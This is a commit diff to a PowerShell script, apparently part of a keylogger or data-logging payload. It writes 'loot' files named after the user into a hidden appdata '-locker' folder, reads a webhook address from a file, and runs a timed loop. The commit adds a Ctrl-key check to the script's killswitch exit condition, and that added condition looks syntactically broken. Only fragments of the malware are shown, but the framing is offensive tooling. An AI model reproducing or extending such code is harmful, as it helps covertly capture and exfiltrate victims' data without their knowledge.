Update -logs.ps1
This commit is contained in:
parent
05c3897d4d
commit
ccea107fcf
1 changed files with 6 additions and 1 deletions
|
@ -2,6 +2,11 @@
|
||||||
# created by : C0SM0
|
# created by : C0SM0
|
||||||
# Modified by : Jakoby
|
# Modified by : Jakoby
|
||||||
|
|
||||||
|
Add-Type -AssemblyName WindowsBase
|
||||||
|
Add-Type -AssemblyName PresentationCore
|
||||||
|
$Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl')
|
||||||
|
$Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl')
|
||||||
|
|
||||||
$Path="$env:appdata\-locker\$env:UserName-loot.txt"
|
$Path="$env:appdata\-locker\$env:UserName-loot.txt"
|
||||||
|
|
||||||
$dc = (Get-Content "$env:appdata\-locker\wh.txt" -TotalCount 1)
|
$dc = (Get-Content "$env:appdata\-locker\wh.txt" -TotalCount 1)
|
||||||
|
@ -79,7 +84,7 @@ while ($true) {
|
||||||
while ((Get-Date -Date $t) -gt (Get-Date))
|
while ((Get-Date -Date $t) -gt (Get-Date))
|
||||||
{
|
{
|
||||||
# sleeps
|
# sleeps
|
||||||
if((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt")){exit}
|
if((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt" -or $Rctrl -and $Lctrl)){exit}
|
||||||
(Get-Date -Date $t) - (Get-Date) | Start-Sleep
|
(Get-Date -Date $t) - (Get-Date) | Start-Sleep
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
Loading…
Reference in a new issue